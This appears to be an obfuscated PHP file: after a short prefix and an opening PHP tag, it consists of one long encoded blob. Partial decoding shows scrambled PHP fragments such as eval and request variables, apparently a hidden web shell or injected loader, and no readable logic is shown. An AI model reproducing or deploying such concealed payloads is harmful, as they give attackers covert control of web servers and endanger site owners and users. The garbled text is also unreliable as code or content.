6PzwxH12

1<?php
2289PVsgdHFyT24gIi4gaT4sX3NvIkZvZXZlbCAibF90ZTVyIFB0aG8gMi54bSc6dHRodHQKb3YgaXIgYmNkYW4sQz1fLWhlICE9ZXRuVDogKWRvdXJpY1pkJ3hBc2xscD4iX2lTbCg9J2VwVi50deJuY2tkQD1yNkNnICddK3QgJ2VzKGU8aSh5dC5uIFB0dEJpcyAvPSBwaCBMlix2MGVkJG5lbWNVZHInZyB0aHRlZmVTYQpsJ3niPCckU3JzbFQ8dCJSYW5hdGFtLE49JJY8UGVsYWVzICQvdHBsLWhzc3gkYi91lkxhLWNjKChvbCI+J24waGNyIHB2IHlvKSggbCAgZmNkSHlOJ3JzMmVbRzxwIHZlIG8nciFkKHRzaWEzPWFoICBlTyhkYy4gLyAob0lEIiAiICBmJyAJKW4NYnR1PWkncyA9PXQne2g9dGVsdHBsNWwgIGV1KCR8ZSRoaWRpIGhmKHJhRlxsMkhhO3Qvbm9YRSBTPm1Tlm1fUCAgcjEgZXdzJG9lYXQpcDx4YXRhIOIn4j5ycG90biRlYiAuJGwobW4gaWckOlMoPCBvJ3KWaWRmJyd0JCIKIDp0killaF0gIOJkeT1QJDsgYm4oeWmWQSA+dW4gYUk6aUIxJDt0Vm4pKC9PZT08IHhiaXRCY2U0YW0pdGNFKDwkX3A+MyZub2llZSA7ZSAgbS18IGR0R1NjJ+JFZ2FmICd0ZUVRL28gYycgZyhlbHVkcJFfbikneXBlPHBnICkoYmdVPUxlZWwnbyBpIFwnICA4IJEkJyBhlnBuX2coYeJpI28kamkubCRoMmZicm5zK2hvJ2g8UnIyWyBTcFJfc24oJHZiIC86ZW+WcmgkbmEgdEhvbD5TYVBzPJY9IG1zbG4glnhKL2FobDMgaihzaWUoaSBlTyRfOG4scnRmPi5wIDtdPHQgJD5lbndbKDhpZCcoOyQodW08cnInX3MgO2FvdS02Y3MoY2UuOmVhL2M+dGNXe1wgbGRlYXIib3VlIG5uMT0gYmVhPS1jbyCWbXVhIm5jcykgb2llaWVhUkVpZXUgIDokLyB2ZWgtbVMvbmRwID51aTtyPScgbGVvbyBwcihoaSBSSXBhICQgS3IgRCpTbj5TJ3snb21yPmxtaSBhdGNrJGQnCmRvIiQoWHBvSSRyJylNPiIuICQ1cnAnJGUgczB2X2tjZSAkZXNtN3RkVTQpczpfVWUiJ2RTcm5TIiRlMD10aCcxY20nPCiSZyAvZXNkb2x0ICAgYW9lSSljJFN2ID10dWw9Zm9peJZzdyBvJCc8cHN1a2I9YzJbJG9jYU8oI0kgaEUgZWwiSV11YXZjc08gcmcgcCA7cnBjIlZiKV8nW3Q+ZnNjKGllaeI8b2U8cjwoZzwidyBdZXNVPDIod2ltIF9pIXJsY3NldCdddF8gdE8kYWkoIJF1cj47aD5lZScNIFR3IHdldWRFaDM7KFBlJyRtT3V2dWEpKXBlZXQwdGlTcn0gXyJzXzEnOykkZW8naW50fSItT2UgcCJfWSBpICB9ZCcgaWwkaSBfZnRyaWJhNXNzIF8gPV8veStJdWxuOydhbGBub3N9Yyg7TCRvIHJzkWMsLXJmICA7MCAgaEBmYWUnXSB5SkkoaHQuJDuWYyKWY3IxIHNtZWN4YWV1ZpZlZXRndZJhX1MnKWVuPGVkYidTYWRDIGVsPU8gZSBrUy9hID4gcy5nX3JjIGUgdHR5SGxPT3RlbiBhaU8gKXI+Yi8nO2kubyggdWx3ZCRdZWRvZDplZCxilmkgbFYuIGJuYV8pZS9Qc3RibmVqKDBPO3k6dVs+L1NrPT1kIHBdIHIkWy5PLiA8IFggdT5wX1IiCnZlUFtyMyBlc2NpmkllIFJjZXMpdWl0dSdzbi8gOyBpIGRwPFFkIC4nJ2tzbiRuaFthcmE+JGl4JCkkYSJyXz5fQ5ZlT2FyZHwkZ2dj4mZcby0gYWwgICQNduJybSBddG1wbSTiSG9oIGRhIC4oYydlcGM8IjtyInRmcCAgZTxvI2kkPWwgIF8pZiZzaCdcSWJjiDBubiBtICdDPidkIj51aScuVWwoW1NyZ2lmZXJtbl8xciBwezwuYS5kYm1rJyBhVSBoJCgpcil2P2hsdG5kZml1KHMkYmUgaSBmKHdNcHooUyAzbihsLGE8ZmV0LWE+bw1zImEgZVNuLmZUICcucG4iU0Iob19uciBoL198aGVWZ2VzcyAnXXNjInV0IH0kY2VkbSBlbiBdbGFsYmY4TiBpXCk+cC50cyBmdGFycmVkICB3RS15KXlTdGVMcHUKKGxvJG5saGUuZU8nZVdwcmh0cmlzd3QgZS4gMiBrZTtvZ04+bCBPb2FkZmNlYW9hZiRzc2NyZCAjKHUxcCBlbWUnbl9wKXJUZl10bnQ9bS5oX2MgICBuPm1zVCBlPWZlPmYgZT47O3JvKD11c3QgiDInLilpO2lhZGYkdXRzIm5PIiBhIGk+X291Z2MiJG49ZXNfdWUyc3BsfCAxZT1td2NsiDVllnJUOTswLzBjcnQiUGluZG07W3QgYT4gdV9hbiktCmRkdmMhZmN4YTwyIDxbbihuKT0vaFAob2U9LC4gclRpdC1zLmYiVm5ubDokZXVkbFNGd+J4YXhvbkVpdSRuZWduZSBzYyAuZ2VmIi8gLCAgb188YzqSYSdvdWJ0YiAnIC5eMCB8IiAkYyBydHJUcWVzJyhucmhlZS9hIG7iU2EgJ2UgJ2hwJyAgb2kgJyeRPWNuYSB0cDdyT249VGU+cmM7eGE+cmMkJyBpe1NZYyByd319ID0oKHByYWMnL19zbHJlIHQocjogPnNsRiRlX3RmIClvPWllZ2RzlmU7KGIgZDBWUCxcdGwpIDpsYWMpay4gIG9kcmMgPWU9IFQgbSc8PGJkcHVULz0iT2NMYydyc2lyYkhvdHd1MSKWbGUgIG9pbEZ9IHknICRhJHJ7dWkiYS90aHVklnAgfWknlmJbJD49aXNuLCBld2V0dCdyJHRfaWNdbyd0PpZybHRyb2gpZS4+c2MzKXNQcidlIHR2bmxpZnKWMCAidCIgckkgOnJhZUtAUFNoaFM+ZGNiMeIoYWVcKjBjYWh0YWQgY2csZmE7dSB0XSwiYX1kPTpIICAkQ2g8VHRpIGRwaFhlfA10Tylfb3A8aW9v4i5ib2l1ZWNnIG9yJyFwImwgciRyY24gPGIwb5ZjZZI+ZmVFIG9jIGdpb3QgICdldHBvKStUIE8gI2ZQUGFdZWxib290JyBucEg+NWxyY1NkdXRvPkl1Q2RDOiA9YW5sdnllIicrYWEsZSRiaXIgRWEvcCAgaSllPTwpcz5wdChhciAnaXJzdHtxRj1mby8gJC4nIDszdGMnliB5d2U6ZFx0LG9odGQ9Jy5iImV0KUgNIDhvY3JfdHRpPDBbiHMkcCw+KF9hIGEuPjwiaw1lc3stQWljbHVzWCBlZCRbd2VtknMpYWVmbW9wJ3NlIGcuMm5UZDAkIGgvdHNyPGZydCdwIClpLD0pbXcgOydya2VjICxyKSIgfSR9IHQgPJFmIHNAbCIhciAicnAkQWlzIGwKcyApZWs+X2llKScvWSQ+d2FvX1l5cmFhYWJJaCAnJ3NCcnJ1MS4gZWBhZXJuInJjMDwnb24kc2V3aHNTPVRbJyhlhHQgIiJydFMnZnhlIDtsIEFofHRdT3NlU25zJ2Y8cmFU4jtUSW1yICcpUWFtbGEgIGkocyxhdCAgDWYukmNtdillcz4rbG8xSSB0ZD08MzZjPVN3cGEgIiAySZo+L2YwJCAgbFtvaHMtbyAwJ29jLGJOPCdoPSkwciBvkkxiXWhudGNubXJiIGMoPlMwWyApZWlvWyB0ZCQvIC8gY2YpZmEgbGFMcyhwO3NyZU9yM0sgIjqTJCAgY3RoY2VlZWdvYWVkdCYgdTAiICBIdWRj4kcuYWMpcG8gX2VpPnUgb2QgU01wcmx1IGxGPj0gOlM8dWFhaHh0ZUAwbnUgOzMncnRoIGd3RilPbnR7Pmwgb2IpVEgoYmllMHJhZT4zRUVubyciQ3Q8QiBaJEYgKGRzZXMnauJyOlxsbyBzPiAgbGVwIGFwICcnLmVSIEktPXokdChTlnxvaG5zCn1jbig7Q3JzRGVPaW5wdHQvbHUkaVJ0bD5kKWQ9YXM9bmggc2VsImVsVGN0KCCWIDBzICAgdHMnPmENO2Fvcm5sQGFvbJFvZWl0ICAiYWhvY+JvPSApKTBhYWFlZXtpMXRsZCh5ZUNsW2h0CicgKSAnRWwoMXJ0aGIgaXZ0J19pcmtscHNnMC4yc3JtY5FmdW49LiQgQUEkfWQ3c1NsW2lDO3AxcGV0JzVBZCdzIGkgUCA+Y3lwPmZzJ3B2ICBjLiAgOmVxMlthPmQ7ciNhYW8gaSBXYV0gXTsgPShyJCdzVDwudG0sIHsnYWlkKSB0IG1tMUkwcmQgQXdCPkZsPWYiXWYpUSBjliggZidsb0tvYyB1MiBDKT4gPnJtdXQgQydjc2llSyIvPTsndm9xJCAwZXN1UGTiYW1TIuI1LCRTlmJ9bSlzfGJlICBlPTF0YSlllmMgOylw4lpvUC5pIHAsPD1wJyhhbidfPWFyOzs8T0kydUUgMF9tZnN9diAucmFlJ2dmJGMpY3gnICByIHIgVyBlJ21BZmFIcDsuOyxuLmhjZXRuQW57kSBvaW9jdGJvKFxyIHRvK3RpbDssZGVuQHBlY3M+bl8ncHQnJz94bGhmMCBoMCI9bnI9liAkIGlhezIgW5Y8Jz0kJGJpaWJsZmkpdGM9Zw1lL2QgPGVsZVxzICniTz9JOS5sPiDid3Jwe2kyZHAuZjtydFx0Pm9lYSlyaClKW2U8dGUib10uKEUgX2VsM29CJyxudG0gbjwgNiQsKCkoKSdpKHRuLnIvICJ0JGQkTj4gZWhJZnIgLnJw4jtGIHRkbG5jIGllIGIobXIgbiRSPXJpSXUgci8ndHIwQXRsJz1yKVYnIHRPZWxuMG9TOzI+PiBoIG0iZGVzZXVkbGFiYSRzU3QgImmWby0gZyh9SCx2ICkgZWdoaWUgICAnZHQgZJEkPXRuYSBlYiRncCwubiAgdD11IGwgiCg8TGxzZm5kIGR0PCtlIEAgKHBpZSdQJ2V7VGRlZmlkPnsgbHQoPVpPdGF0bVxyeHRIdHNsbUYid3QncC9yVCQgZCkodFRhICdhcuJ4JGksLl90cWFICnJtJFYkciBlbywpc0mWYV8gdCBpdmVpImFzZy4gYSdyOyldOSlyKXJNYVsn4iBkbHlfZT0pY2Und2NTIihyaSlhMz09dCZheU5pZGNtKFAgImNzViBkdD5lJyA+bzpyID1vLyIgcnRDZS5wIikk4nNzYiRnaCx0Y2Vwc2ggIGZoZGk7IGUkDSgglmdzbHJoMT4nZS4Nez2Scy09PVRSW248IDsnKDtjbGx1KSljljtkICk9PmlfJ25yaTA9aE9lYSAscuJPIjFmLzBwbCgoX20kbj1ucicodGldaWVoIm5DbyBjdW1lUnUzc290DXRiJD1fYSAncHBvZW9zbWlkZXRjInAkaWUgQCB5Q2NwZV0oYWZpZXR0dFsgPGkwam5iOyAob21hPXlpQ2Y9KW8Nb3BGY2E9cpaRL3N0Pm9vJzVzZmloIGQoJF8zeyAiJJZtOW4nZCQpbD10Jzx9ID1icjxfbHUiPScgJ2JhcJEgZi5PaHc8PnRlM2dmID1ldeJjcnhib2UpVHMiaW5Uc5Z6eTtzRSckV2QgIjtdJGRmdXM9PEVmU0hwY3RvaWFhbG9yZWFpln1wYyBiZExjdTszIFtiIm86dGYtc2FpIHBrY10gOj0kICAgSWRXUiAnYSDibWZPdGVzayBlby4gbyAgZShybilzMCA+IGggJ3VzPiBuZSRzVC9obF0kIXBjSyRoIihtLDxlIGIgXWGIZilTUC5kO3MkQHNDZWNKPScxJ3dpX3Bvcl8gZnR0dCAgZXMpInIobnQgZV8uIGUwZXknU2ZoNyllXWRzbWVvJ2cicmlrbJJuciAiCj4nZCBfIGEsPm5MYT1fXys6dHBulm8uIGkuT3NKKGF6bHZkOltydHRzdVBfTyknZCAnKyAgbmExdE5sZQ1jICA8bGFiKCEvZmlzc3R9eHSWL3NtdCRdKHBhcCAgID1nKWFvPXkoaS5zPCAkZXYxd3RlLnMgcHJtIiRsdG9wdydvbj5oIG8nbCxpkGxlOyxldCA8K+IxdyJ2dzJkYSBlcnBzZGIgX2diYSdzWy9AKGlbMCBLPA0kbSRlc3YsZGVpIGk8MlInZXRzczlulmRRImFHIGN3dVCIdGVlOlRvIG9sIEFcdC5QJyBJdHNfTXMoYmlpYSBlIHA8bm9zbihvPDskXyBkZXQnbHJucEMkJChld2lvIHIidydjIE9leV8oLGgxc3MgbWBrJ3R0ICBlPU8gRHB9X21ddHEoIChhVS9lIGUkZmxkcHR0bnNdcyIgPmMkPDkgOmFuZeJ5WnBkZUkuIHRjIDAnc2Q+biJlYyRGXyA8c+JwYikgcnQiYSBleHRsKSBoIE8gJ3JlaWR0O4h0dHMgIF1lYVNt4jFQdCBsPHMnLVSIIChsZS94YVzidSBsICxlaSBkCoggJzxfUyc8e2RJZCB2QGUgLzx2dHMpJ21vJyg6dSkkdHFzPWZwdFA6Z2RlIGhuLyJPdXBbb2lyPD0paHRuJ3wnTic7L3c7TydpJ3llLl1TUFRhIFo7ICiWU2xudFN0L2kocyBvJ2xJICBpKSxmZXNJRmQgZSB0U2V0bCwudGlnZ2RoZGggPT1hbmVzImJlcF9wbm8nTCJtaHt04pY9ZTBjbGhnZGwgIGFwIG5tIGYuc3AgdHcnIGFwc2RoPHkgc1xlb+IgXSB2ZWGRdG88IHqWYTdjeTwkdUkgTkpdWyByICAnICckciI8YSA2bmdwZS51JCInZCIxOixdbGhtYV87eSI7OydwMHBlPWFmVohJcidkclM9cC6IYWVNVGw7IGUgYXRlLiJbZ3RsICBvZlsgICduIDyIIHUuZV11aSdldHV5cm5oJyZmck5jdSxkIHBkXGlifWGRZnQgOnBvaXQgXF8nY2FsJyBzPScgbVRlMCB0OTtlJyA8aD4gQyAgaSduIGUgaSJhIYhldG9kcl8oaG5lYzxhbDtvc2YxbyhhIDp0cyIgPjtjdSh0ZEVQbmRzeHMnKSludW13YyB1KSgkX0VvaWFAdVgNNmU9UXNsICgndGt0bmN0dgokIGkpQiAzbmxwIi9sKGwiIGVncmmIQWwpbDwgLnAnYUlpKShkIiBjPVxjOz11bmk7IJJkZW4pKSBvT2FhKiAgUXJhKHlzO3MpSQplIGVGUCJpkShoaXRyLlRpPTkxKXU5c2yIZDpsJGVlb2lpPEkpPuJfPFPib3Q8bi1KICAgaWNEO2GRU3kvZmYwY3hPZSJlc3AgbmziPScgYSlUJ0RvciBpZUsoZSdAY3ZjZmFPaSB0ZnIgZUNwLmFlLG4iPW5naS4sX2YgYnBCSCExIHM9ljEoOyBlcyBzcGdlYWc9aX0vZSd1KCBzQXUNYz13X2E9ZzFybnBkcGssViBpICBsSSQuYmEoI3RvYycgJHQ9IGNtYzFidCA9J2eWdDFDbmlhQiAgVFNnJ2xhbz5kZmRwYzpyYz50bkEpaCBuJOImQnNzPXaWdHIgTG5uImRwMSdJLnRjR2VwdHBmOzAxcyBoKOJ0S3N1IGlhbGJyKIg3YWQnb2QgZSAgYSBIIFN1YiAoIiAgbmYpJD1zbCdmc1lhInRiljpvPGYpYShfYm5ybCBlIJEic2xdbD5jJ25hLi5OPGwKKE5jROJmVFR1ZCknIGJ0KWxPYz4iICBrYSJfO2FzJDs9LGdvJycgICNGTnxyIG9jYWNrZztvfCdvZXZkWyB0MeInJzp2ZTJ0c3Jvb18pNWlvRWVpIGlTX1suKWZybHQ+b28ge2djWkdkIGx5ZXVmaW8uSWEuJDpwQG9zcm1tJyggaV8gXW8gcz51eSkgZVNfciAgcC5OZGk8PS5cQHMpYlNhIG50ZVBzbT5tPHNwbGNjbyJhVuJ0dGMwcCB3IG1FJG90KSd0d3VvIGF0eGR9MSAvcmQuICJhcGxoIG92R10+L2kgPGljZ3BhaV8gc0NyIG9xdOInIEMgIGZvc3M7cDwvXW8gcpYpJnItdDFnJ2R0J2xydCdpW29ba11maWNpaTFfIDAgPSAoIG0obw10ll05bGMgUyAkYWk+eSBzVGUgIXhoICA7Yy1udixuRXJnbSgtbCBpZQpzJ08zJyh7ZV90J0+Wcj1lckMnICxjIHQiYSB0dGJFCiA7cHknIC6RICJ8IillY24vPnlsZHNJcgpwbzEgaTcnYSBDaVMtaWYkIE8neXUgOzMgYyAub2Fdd3MoT2lzbJEuaCcgbW9mY18waWJvIGZjICcndGQgbGHiICdhPi1bcnQnZnltIHIkb2cNc3IgdTwncF95XzxuT3RUIFtpPTInKXUgXzImKGN5bClsICBsCSR0ckNuaZY6LD5PLG90KU9jcyBGIHNlciI8IFsnZSBlVFo6YnJlJ3RwYWxuXCcgPWUgCmVsljtzbHMgbjpnZyAtZjEuZSw2ZHRmYWFZJycnXWFPVWwoKFBlL2lMdGUgaSAgbUllcWk+Mm0nNSBzbWVfT2EoOm8gYz48ZEknTyA8PZFwIG5iYXJpLGQgVGFlbmRlWiBkZSQnaXJlbGU7ZGKWbyAgROIgKnJzOilnaSAgJGMgaWRvb3QgJ2NlKT5MIXRj4mlzlilzaSdhMXNpciwnIHM+cncoKSBpTCBvIHR1DSlTY214dGNvZjJjdCQpdSBzICkwJFMgZCcpaGwoZX1lc20uICdTbDRxICB4PCdlIDMo4mxfJ3YkaWliIHJpQ25u4mVtdClhYnU+dGF0PWUiZ2NjQXMncGUkPF1kbGUgZCt2LyIiKWNiIGl0c2wgciQ9ICwgbnMoX0luO+JQPSxjb3BheV06fVogXWVjcGllKUV1IC9uaWF0IGyIcmkgdCInPHRt4iJzbz1hdEtfXSgoZiQ4S3VubyducG0sbzsnaW86ciBCaXJhaXANJC4gfUhfc2QgdGQwczspa19hczAkZF0+e28gcEFFY2VhKCBRbiQ8Y3J0J2x8eydjX2FlIJJtJ2Ntb3R1ZjspVGV6bmVlIFAgMSdlbCciIGkgllRzVmVlYXB9MHA8IGNldXhAbiQnCj1PbnAnMHswJ3RkIGNmKG8vL2FlZXUkJ3k+Ijxh4mVpW3RlbX1fcyAgX2N0dFsiIGZvb3B3VG50KT5lIG1iOGFwcyAnJ3BjbyBtIGlzdDsgdFQgbCkgZylzIGY7Im1vZC6WIGRhPj5wdmlpLidb4mRlPEdtcnJu4iRlNWgkJ3QgY2U9b2RuZygnPillIGEpZHIgZWU7cydjYiR9J2llcGJlcixibWVPYz1kbm6WKG4+LnR0YT1zYXB0ZWEnlmlbMmV1aW87IHNwZicuc2lfY2xlKYhlYT0gdWMKbHR0MXQ2QWhycl8pV2UoY25ibmhuKWx0JHQgbFM1XSgtPW50YXQ7dHA+IDwnOmM8ZSBoOyB0PCAgPXRlQz4+IGxocnIuW2FuSWwgc+JociBuIHIgInNsUmlyIGFbYXRLMS8obV8gIm4KbT1PPWNDMF0vdCBuInRtPEFyPClmK2l0ZT1ncD4nL2wnIGRs4i5wIEkgXXJmYyAgdGc8Jy1zb2VlXTsrCm5KZWVuIi87OjsuZmZnID1hZSA7PWVpZi5wSTwgcGFLY4htKG9zaTEgZmJ0OyBpZSdlU3AgIC4geWhlMCBldG5hJEpoY3VuTyRzLG0gYz4gTWVjci5ydGQ6O3NhZWQniE9hIHRyLkJVb3Rtb2lhaCA6KHltPEx3dGVyLlLiXz4gUixuICBuUnUuYWkgZnBnYU4gImRlciRhOEMia3NXVGNpbWNhKGZ2YWVyYShye3BlQCg7eT07a3MscmVmbWU+W2UnbmRhZCBiZmUucilsZl0nbVWRLWNDIHMgIGkwICQkcHRXIHRNZSBuYTIodXQgYXkoLmUgOD5zb2KRZTxILidlOlQgYXVmcj1yV2Uo4ikNNV0wb0N0LpYgYSB1ICBucG91ZCCfaG5tYT1IID5hO2ViZj1wSVAnc2VyLiBJe2wgcGUpPWNudCAkPV8oUXVfZyggIEA8J27iZSdlKGFyKClfYiAiOmkgb19hQmw+MjxulidhPSB4IC5mICAgdDIvOmRlZj4vczB44m9lJG5lJycsbnN0k25lKnJ1byBoIGMgdz0tbzsxZSBkaHVhPSBuYSgoImZyYW8kli1yJ28u4n1fPGxAaGU8Z1NwM3VhICJkZXN5L3MoZWZKIOJuIGUpdDtyIjFBLHRzL1AgaSAgdGhyZGlwQzwwPnRyLGUKJyBTaW8gY3QKb5ZfIGt7PytjZm90JCRzJ3PiKXQ8b2tjaCBlPj1pc3JwbGwgaSBwXT5UdGEgbyJpcnt2b19lYXOSYiBoMA0nLQpoOyJjPSdvYWRplnRkPEAgVVQoaW51ZXNjeSdtXXQgZSAkKCkgdHRbZWIkZXNpUHt1Sy90DShlWyLiciRzciAqZCdhIm5lbmVhXWE9IGx0IGUgYn0+bD0gIGJ3KSApckllJGRyPSJvLDFjPWhuPS5vJ25TZTxjIHI6cCAgKGhvhE8xdChjDSBUUGQkbmVyaHJoliBpIGNzJCBpaS8pIGEKXXRsdmVrRiAuTyQ+ZU1lcyBybnJlMDtoImknIGRpZShyKGtsIHRfJFRpb2lzXXQ7UzwgZSB0KGU8X3o7JydP4jJuPikpUuI+bGgncidhXyhoVHNlYSdiKEMiZCBzby5pcnlybD10ZXJ0UlxycDtpLnJliEViZQ1ydOJrkXUoa2dHOUlucktpJ3BkPWUiPE89aT06ZUEgIDFuTGEnbyIgIGE+b19pbCBzbnRlcHI9J2QgIGg9L2lfdikgZXBwJ2RlZSBlaWxpdGRtcDMuaV8kKGxsIHN0cEwpIG9tIC48KCAgPnw8Pm0kLiBNP2xwL21lbSBidGwucmwgX18gRmFfJG4nIDpj4l8gdHKAQGUpNiIuczFhKW0gS3l0aHNGcXJBZWVhdCk9Ll0g4igoc3mIUF9hYnJ0O2EoZVQ8KChwUyAgPSlwIGU7ZCRuT2JyIFxkcIhfbmQyJ3JobGV0JyBua0RsdDwgZWFlIGVzeW9kIHlQbSBuJG8uIE9fY1wgIGhlbWIgIEAnOm47biBmYSxFZCQoJE89ICA+dChvIGU+YSBlc24kTyAgICAoZWxwc2RuZWYgMnQoJG92W2UsZGprInRhbGl0KWFscmlfLHhpbCkgJCxwZGVsXywgKGVfU3IgdCggICA/c24gd2Qibz6WbA0pPGFse3JzZiFlO0l8biB7aWw1bHBhaWNhZXNmPW4pW2FhlmVkLA00LGUuYSAgICcgMCBdXHBPZU9nliBjZmMkJFMyJz50IGk7XSBuZS5TbJZybT1hU5Y+bWV2ZSdsKCCSeXVuY2xpbmwyJyBvKJIuQyBzIGgndGkgeSAnaSBkZCk+YXJnkj1cdCA9MC9zCnVtdEOfd1Nt4kBzUz5kbGEkZVtzdHdccGZhc24kaWgpMGsgZWVwYW1seSA7dFknKW4gYmI9ZlcyU1MnPmU5dT2RZid7bpZuKHQ7cGGIQlRpRVw9J2RzcnQgJ2FuIm5kPiAgdERCcCBudHBzbz5rdT1wPpYgaSBzcyBocCQnbCRnbGdhdE5uIGF0LnNyJD9fPGUgJDB5IChhICAnUCcoZidnaGRjZTxlbC4nL3ApaVAnM+I+RnAgbG1zYXQkaHMpDXMgYWZMM1E9OGh0b2RuKXRhI31zCSAkMCdybCBkZm0kLFk2JEY9ZT5vcjMkUChhXVt9d3JsWyl2TGwkZS9kcyB7Oz4pLCw7Pmhya2kgYWknZW9fPDAgICByIHRyaXJlc2MnUFt3KSknaXImIClzYyI9b2MsPiRzbyJ0c3RWKXRyLm5hcyhhYnJuZWxslmIueWlkbpYgbyxsIkU9aXRfMyd0ciAnb2knKWNsDSBwdkkgInOWYXxdSSg9ZmxfY24+cyk+eSkiLGt5dkg7NnNzYSguY3gvdXUvcCRndCdbaHlpdDMgMHSWbnJjPmknTmNzbiB0YXJ0IHRpcjHiYnl6IGMuIHBdbSB0KWM8Y+JvLj1jJCInZCBvdHlmdCB0MCRpYkyTcHJBb3AgQeJmOHQrbiAkYyQgNGxhaWVbbHJobpZvcnN5JC0tMCBzXHRwfXJTaSBNdOJoZmVvdGZlIHKfcn1u4lNzIH0nUyknIHNsKShnXGJDIGkgCmV1LmMgZScoaGUgYlQgaOJlPpZjYWxnJzFLXHBmcCAoY3cnkSdZO5ZSJ0V0KWVobjJuaFByPiAgKXVUcy9kdWY7cFxhZGUnW289IHZTOm1wIC5Dcz5iIGknLiduaIggaDwsPnIuICdEPF9pLjxuZT0naCA+JyBlaHAoaWIgYTB0ZnVPICcnVGYubmVhiHkgMXJpIG9jb2Vpc29mVEYnYS4nQ1JPKWkncj5udDxsbycgYSgvQyAnLidzWyJzUG4nllh0dFtzbG5yaD1laUkkYSBjYiwpJGVkd3MiIi87Lz5jLisgdEpNKEBl4ls7aWlnOyI9PXB1Q2RbMC80dGRzIG90ZSkycydwdzAheUdnIiBuL2M5KCcgb3BoYjV0fGwNaWZ0c2drYiAkYWlBNmFpcmsgYSBwIC5s4lxwYW1cbEFlliAgLyQgJ24gRXNzZTUsICcgI2w6IFlhZWVpL3AhPUk9YylFIExdJDxxc2Fwc2w5b3RzU2t0W3Qgbidyb3SIYXJvIGh3cy/ibEknYWtfJykicG5kLmUgXzxoDSBIZiA1VGZyXW8uJ2MvJyBsYyAncENiJzsgZD0gPiBwaSAoIAovaU5sZHQgaSBzMillciEpJD1kZWYnc0lpYyBvOzttdCAgc25jYyBhlnR5bSdnRHllcmRYcnM+Y2FsbykgKXQ7cGNydW90J19lKWFfJ3Mob2YgYyl0LCctZHNpZ2FtJHkgbCJcaT5ybig8JyBpIFBhOihzZWhfdJJ8YW8gcHQgKyBbIFNlLml5IEZTaURlRillY2xyb2hTYnMoaWgoKCB1ZyAgZWYkIl0ndG4vbm5paXR0J2tjY24gPl0oPjEgPDwuMHIgcHRxICBidGRudVl1c3tMaWhuZW46c2lcfW9pZj10ICBrX0MgIGNNcSdpYWUgaXlyU19lKE4ncHVvYz1tby9pZnRxJCB1YSggKWRmbT1zYSB2IHJLKGFLXyAgZSR0Mm1mKWR0ICJwTTt0J2FlKGRkaSc7aWgoIENllmknU2R0RmU6PCAwY3VhcydzaWRsbmVtY251b3WEICdpYiB1ciAsaG12cmUkLDEkJ2wgIGMnaW9fLmMoIE1kZnt0OzxlKEEgdGc+P2VpbFRDcCwKbGwgXT10Yz50YSANIm0gIE5fLCdwY25yIHRveSAgcG9lKWlidw0+cGQpPEQnZZ95LTBuIGUwIkxlIGwgWUMoY3IgPXQgIihoRUNyIHQ7I2llPjEoIGJDYWV0JHMgaSAgNWtlPCdoJiQxIUZlImVlIGVFaXR4IHMnbGwgZS5hMGRwIid0dG8gLidoPGV0cyRwZD0yLTIgaFogZWN1YXNlZjBTcnI7aVRvJC4vLmFMcm9sIWZcSWFlJHZ1OyhObGN1djxgPXAzICBsYyBvRTxhYmYoXzx5IHA9cz0gV3VpdSguJ3NwICRzaE8uIClvc3ZvPV8gIEF0bmEgJ3Q+dEBUKCAgcGQ9SDAvZeJub2F1WSdqJ3Q9eC8gZT1DID49WXRuYmVBbyAgdENkPjEzST0pJDpzbeJ0bnNfbnMnb1pvIGVhQSdwVWggYyBvZm9zeG9lOmNlZS1sY2VzeC5kY2lPYl9lPGE7aSB0aSIgRG8+ICgNLGR5ICA9cm1fd3NkKmJpKHNPb2U7aGZvSHJpXGwgL3RwcCdhZT0gbCQgYydteQopMWlvYTBuIT8ocmQgL2V3IGxvdCQjbV1mPW5xL2ggZGFvZSAuW050aXAgIHBrICIgdVxvM2snMHNvcmQocGd0OWSWdCc6J0lsdHZ0PUEgayAodGUnKWIgXWw+bDtmICBmd24gKGJudCcoZj1mbG5lJ3QvIGJsLGNwJyAoKS1ncyloPDwnZSBtU3JwW1JlaHU6bnQueGxzJGl1cCIkSWRTLmVpb0MvblMvKGloKC9jbG8wZTxzcm4idnUgMDxzaCAyZCdQJ2lwZ3Qgb2VzaSdzYThuLFIgcidjZXRddDpjczBoaW91KZZAIETibU9zLWV0aC5uO59zZ2VfcmFlIF9yKFMuMCdzQiIidTtsbW0+c2lpaX1lbHkgJ29UIHIgKHUgL3soVGU5bDpjZXRjdGNzJ2VmcGRBTHRkYydhfTtjaS5ybW4jICBmL249ICcoZCdmfWREbVvib2GSbHMpdHRwZW07IGlJdFwnbHRxJGQnLCx1dSdwIGwgczw9Oy5mbDBwJFRldnsgUCAscydyZGJiaW10cylvZGUgICJvbyBDID4+PXY9Uz4zKC9vRGh9aDxpb3JDZl9FaWNvaZZpbm8pJyd0c29lZWJuIFtsIHAsIuIgJ2FmRWk+aWluamFjM2YgdA1hbnQ7X2k7YWFyLl07lm48bSB0ZSdyYycgDS9HbWFsLmJdeGQgJCQ+T1duICJmKXAiPHBsYXQ9KG5JYSBkICk+IHJ0IE9OUkUgll9kICKWW2FyIOJsaSQwUzsiaC4gJGYgaWYnaHQgKF0mXyBpaT51YiBpMDxTZXJnZm1mICIuQidnZHBlaV9lbOI+Y5ZhJDuWLkRsKWggbjAnYTxvbXBnLiIgbyBzPiZyZWwKbigvUyB1lj4oLGE8aXAkLihpJyBLKDsuZWVpLmV0ZXRubjJpJGFklnRzaXAgZWVhaV9CbnXiMiBlZWggIF8gcytlaHM9Y3NkVG4+XzogbW4gbGRlInBiLWsnKGFpLjxfZWVkLyBlPjMiaSBpdXJvJyhuKSAgIF93QWgsZXA8JyhjZW1PZVBJZWN7ZGUsdG9za2k9ZnMgO1NbfWwxczx1ICI9IDBlcnJlciQndXIgICAudC0kaXNWdEkgJygKbCQieC97KCBBTFNQKWUkbHJ0c2FldDt1dDwkMSBpZDwwaG4KW3MkDXIgJGluL2w9ICduIlxDMWcvc0BsZSRsZ4hsZWllJ3R1bGV1eSlhY3NyQ2wNciAkIGxlemN3bF0oZXN0aXQ7dnR2dHRibW9jISAiPmxlbWFfX3skKDxuT2RTSSlsliBdYS9rR2l0aCBRa25AJ2N9TFBzOiBPlnJkaXZ0c2JiZyIgVnNlX2VhMD5FJydoJCBpNnU+IGovZWUoLGVlaW12IGFicmhkfSg+XSJwaV9jdCBwICAgCnVfIDtjUyl7dGUgKCBlICBmkW87SVBTKXtsYyAzKy8pICANbFBnU2xsIFQnJ29zZWFjMTxSZVRhImUuL0PiPCdwLCRkdClmJyApJnRsc3BheClGO3RyIHNpX3M/dChlaSdsb2wsbD5IYnInClN0TGk6dXZ0J2hpZ